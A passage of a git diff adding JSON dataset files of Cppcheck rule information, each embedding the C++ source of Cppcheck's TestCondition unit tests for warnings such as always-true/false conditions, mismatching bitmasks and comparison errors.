++d;\\n\"\n \" else if (--d == 0)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionFloating() {\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11201\n \" float f = 0x1.4p+3;\\n\" // hex fraction 1.4 (decimal 1.25) scaled by 2^3, that is 10.0\n \" if (f > 9.9) {}\\n\"\n \" if (f < 9.9) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:11]: (style) Condition 'f<9.9' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" double d = 1.0;\\n\"\n \" if (d < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'd<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" long double ld = 1.0;\\n\"\n \" if (ld < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'ld<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" float f = 1.0;\\n\"\n \" if (f < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0f;\\n\"\n \" if (f > 1.01f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01f' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0;\\n\"\n \" if (f > 1.01) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00f' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"// #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>+1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'pf>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'pf>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // / #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'nf>-1.0' is always false\\n\",\n \"\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestCondition)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkBadBitmaskCheck.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkBadBitmaskCheck.json new file mode 100644 index 0000000..d9441c0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkBadBitmaskCheck.json @@ -0,0 +1,22 @@ +{ + "name": "checkBadBitmaskCheck", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 31, + "branches": 9, + "apis": 60, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 806 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkcondition.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n\nclass TestCondition : public TestFixture {\npublic:\n TestCondition() : TestFixture(\"TestCondition\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().library(\"qt.cfg\").library(\"std.cfg\").severity(Severity::style).severity(Severity::warning).build();\n /*const*/ Settings settings1 = settingsBuilder().severity(Severity::style).severity(Severity::warning).build();\n\n void run() override {\n const char cfg[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \"\";\n settings1 = settingsBuilder(settings1).libraryxml(cfg).build();\n\n mNewTemplate = true;\n TEST_CASE(assignAndCompare); // assignment and comparison don't match\n TEST_CASE(mismatchingBitAnd); // overlapping bitmasks\n TEST_CASE(comparison); // CheckCondition::comparison test cases\n TEST_CASE(multicompare); // mismatching comparisons\n TEST_CASE(overlappingElseIfCondition); // overlapping conditions in if and else-if\n TEST_CASE(oppositeElseIfCondition); // opposite conditions in if and else-if\n\n TEST_CASE(checkBadBitmaskCheck);\n\n TEST_CASE(incorrectLogicOperator1);\n TEST_CASE(incorrectLogicOperator2);\n TEST_CASE(incorrectLogicOperator3);\n TEST_CASE(incorrectLogicOperator4);\n TEST_CASE(incorrectLogicOperator5); // complex expressions\n TEST_CASE(incorrectLogicOperator6); // char literals\n TEST_CASE(incorrectLogicOperator7); // opposite expressions: (expr || !expr)\n TEST_CASE(incorrectLogicOperator8); // !\n TEST_CASE(incorrectLogicOperator9);\n TEST_CASE(incorrectLogicOperator10); // enum\n TEST_CASE(incorrectLogicOperator11);\n TEST_CASE(incorrectLogicOperator12);\n TEST_CASE(incorrectLogicOperator13);\n TEST_CASE(incorrectLogicOperator14);\n TEST_CASE(incorrectLogicOperator15);\n TEST_CASE(incorrectLogicOperator16); // #10070\n TEST_CASE(incorrectLogicOperator17);\n TEST_CASE(secondAlwaysTrueFalseWhenFirstTrueError);\n TEST_CASE(incorrectLogicOp_condSwapping);\n TEST_CASE(testBug5895);\n TEST_CASE(testBug5309);\n\n TEST_CASE(modulo);\n\n TEST_CASE(oppositeInnerCondition);\n TEST_CASE(oppositeInnerConditionPointers);\n TEST_CASE(oppositeInnerConditionClass);\n TEST_CASE(oppositeInnerConditionUndeclaredVariable);\n TEST_CASE(oppositeInnerConditionAlias);\n TEST_CASE(oppositeInnerCondition2);\n TEST_CASE(oppositeInnerCondition3);\n TEST_CASE(oppositeInnerConditionAnd);\n TEST_CASE(oppositeInnerConditionOr);\n TEST_CASE(oppositeInnerConditionEmpty);\n TEST_CASE(oppositeInnerConditionFollowVar);\n TEST_CASE(oppositeInnerConditionLambda);\n\n TEST_CASE(identicalInnerCondition);\n\n TEST_CASE(identicalConditionAfterEarlyExit);\n TEST_CASE(innerConditionModified);\n\n TEST_CASE(clarifyCondition1); // if (a = b() < 0)\n TEST_CASE(clarifyCondition2); // if (a & b == c)\n TEST_CASE(clarifyCondition3); // if (! a & b)\n TEST_CASE(clarifyCondition4); // ticket #3110\n TEST_CASE(clarifyCondition5); // #3609 CWinTraits..\n TEST_CASE(clarifyCondition6); // #3818\n TEST_CASE(clarifyCondition7);\n TEST_CASE(clarifyCondition8);\n\n TEST_CASE(alwaysTrue);\n TEST_CASE(alwaysTrueSymbolic);\n TEST_CASE(alwaysTrueInfer);\n TEST_CASE(alwaysTrueContainer);\n TEST_CASE(alwaysTrueLoop);\n TEST_CASE(alwaysTrueTryCatch);\n TEST_CASE(multiConditionAlwaysTrue);\n TEST_CASE(duplicateCondition);\n\n TEST_CASE(checkInvalidTestForOverflow);\n TEST_CASE(checkConditionIsAlwaysTrueOrFalseInsideIfWhile);\n TEST_CASE(alwaysTrueFalseInLogicalOperators);\n TEST_CASE(pointerAdditionResultNotNull);\n TEST_CASE(duplicateConditionalAssign);\n\n TEST_CASE(checkAssignmentInCondition);\n TEST_CASE(compareOutOfTypeRange);\n TEST_CASE(knownConditionCast); // #9976\n TEST_CASE(knownConditionIncrementLoop); // #9808\n TEST_CASE(knownConditionAfterBailout); // #12526\n TEST_CASE(knownConditionIncDecOperator);\n TEST_CASE(knownConditionFloating);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n bool inconclusive = false;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n void assignAndCompare() {\n // &\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y == 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y != 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y!=3' is always true. [assignIfError]\\n\", errout_str());\n\n // |\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x710);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==0x710' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x71f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // various simple assignments\n check(\"void foo(int x) {\\n\"\n \" int y = (x+1) | 1;\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int y = 1 | x();\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n // multiple conditions\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((y == 3) && (z == 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((x==123) || ((y == 3) && (z == 1)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:22]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (setvalue(&y) && y != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // recursive checking into scopes\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (z) y=0;\\n\"\n \" else { if (y==8); }\\n\" // always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n // while\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" while (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:11]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" while (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) y--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:15] -> [test.cpp:6:15]: (style) Mismatching assignment and comparison, comparison 'y!=0' is always true. [assignIfError]\\n\",\n errout_str());\n\n check(\"void g(int &x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // calling function\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(&y);\\n\" // passing variable => no error\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void do_something(int);\\n\"\n \"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(y);\\n\"\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4434 : false positive: ?:\n check(\"void f(int x) {\\n\"\n \" x = x & 1;\\n\"\n \" x = x & 1 ? 1 : -1;\\n\"\n \" if(x != -1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4735\n check(\"void f() {\\n\"\n \" int x = *(char*)&0x12345678;\\n\"\n \" if (x==18) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: no variable info\n check(\"void foo(int x) {\\n\"\n \" y = 2 | x;\\n\" // y not declared => no error\n \" if(y == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: negative number\n check(\"void foo(int x) {\\n\"\n \" int y = -2 | x;\\n\" // negative number => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: pass variable to function\n check(\"void foo(int x) {\\n\"\n \" int y = 2 | x;\\n\"\n \" bar(&y);\\n\" // pass variable to function => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no crash on unary operator& (#5643)\n // #11610\n check(\"SdrObject* ApplyGraphicToObject() {\\n\"\n \" if (&rHitObject) {}\\n\"\n \" else if (rHitObject.IsClosedObj() && !&rHitObject) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Condition '&rHitObject' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:42]: (style) Condition '!&rHitObject' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #5695: increment\n check(\"void f(int a0, int n) {\\n\"\n \" int c = a0 & 3;\\n\"\n \" for (int a = 0; a < n; a++) {\\n\"\n \" c++;\\n\"\n \" if (c == 4)\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while (x <= 4) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'x!=5' is always true. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while ((x += 4) < 10) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(int & x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void mismatchingBitAnd() {\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" b &= 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:5]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" int c = b & 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a;\"\n \" switch (x) {\\n\"\n \" case 1: b &= 1; break;\\n\"\n \" case 2: b &= 2; break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparison() {\n // CheckCondition::comparison test cases\n // '=='\n check(\"void f(int a) {\\n assert( (a & 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & b & 4 & c ) == 3 );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Expression '(X & 0x4) == 0x3' is always false. [comparisonError]\\n\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) == 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x01) == -15 );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '!='\n check(\"void f(int a) {\\n assert( (a & 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '>='\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) >= 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) >= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) >= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '>'\n check(\"void f(int a) {\\n assert( (a & 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) > 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) > 6U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) > 0x6' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) > 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<='\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) <= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x8) <= 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<'\n check(\"void f(int a) {\\n assert( (a & 0x07) < 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) < 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) < 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) < 3U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) < 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n\n check(\"void f(int i) {\\n\" // #11998\n \" if ((i & 0x100) == 0x200) {}\\n\"\n \" if (0x200 == (i & 0x100)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) The if condition is the same as the previous if condition [duplicateCondition]\\n\"\n \"[test.cpp:2:12]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\"\n \"[test.cpp:3:21]: (style) Expression '(X & 0x100) == 0x200' is always false. [comparisonError]\\n\",\n errout_str());\n\n checkP(\"#define MACRO1 (0x0010)\\n\" // #13222\n \"#define MACRO2 (0x0020)\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f(int i, int j) {\\n\" // #13360\n \" int X = 0x10;\\n\"\n \" if ((i & 0xff00) == X) {}\\n\"\n \" if (X == (j & 0xff00)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\"\n \"[test.cpp:4:17]: (style) Expression '(X & 0xff00) == 0x10' is always false. [comparisonError]\\n\",\n errout_str());\n }\n\n#define checkPureFunction(code) checkPureFunction_(code, __FILE__, __LINE__)\n void multicompare() {\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x == 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" if (x & 7);\\n\"\n \" else { if (x & 1); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"extern int bar() __attribute__((pure));\\n\"\n \"void foo(int x)\\n\"\n 